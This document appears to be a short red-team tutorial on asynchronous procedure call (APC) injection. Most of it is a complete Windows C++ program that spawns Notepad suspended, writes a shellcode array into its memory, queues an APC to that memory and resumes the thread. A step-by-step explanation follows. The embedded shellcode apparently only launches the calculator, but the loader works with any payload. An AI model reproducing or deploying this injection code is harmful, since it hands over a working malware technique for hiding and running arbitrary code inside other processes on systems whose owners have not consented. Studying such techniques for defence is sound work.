Asynchronous Procedure Call Injection

```
C++ Code
#include <windows.h>
#include <stdio.h>

char payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
    "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
    "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
    "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
    "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
    "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
    "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
    "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
    "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
    "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
    "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
    "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
    "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x63\x61\x6c\x63\x00";

unsigned int payload_len = sizeof(payload);


int main(int argc, char **argv) {
    int pid = 0;
    HANDLE hProc = NULL;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    void * newMemorySpace;
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

    CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);

    getchar();

    newMemorySpace = VirtualAllocEx(pi.hProcess, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
    WriteProcessMemory(pi.hProcess, newMemorySpace, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);
    QueueUserAPC((PAPCFUNC)newMemorySpace, pi.hThread, NULL);
    ResumeThread(pi.hThread);
    return 0;
}
```

The provided code is a C++ program that performs process injection with shellcode:

1. It includes necessary Windows and C standard library headers.
2. Defines a `payload` variable that holds a sequence of hexadecimal bytes. This `payload` is the shellcode that will be injected into another process.
3. Calculates the length of the `payload`.
4. In the `main` function:
    - Initializes variables and structures for process creation and memory manipulation.
    - Creates a new process (in this case, Notepad) in a suspended state.
    - Waits for user input to proceed.
    - Allocates memory in the target process where the shellcode will be injected.
    - Writes the shellcode into the allocated memory space.
    - Queues an asynchronous procedure call (APC) that points to the shellcode, effectively scheduling its execution.
    - Resumes the target thread, allowing it to execute the injected shellcode.

This code demonstrates a common technique used in ethical hacking (red teaming) to inject and execute arbitrary code in a remote process. The shellcode could be designed for various purposes, such as privilege escalation, backdoor creation, or other security testing scenarios.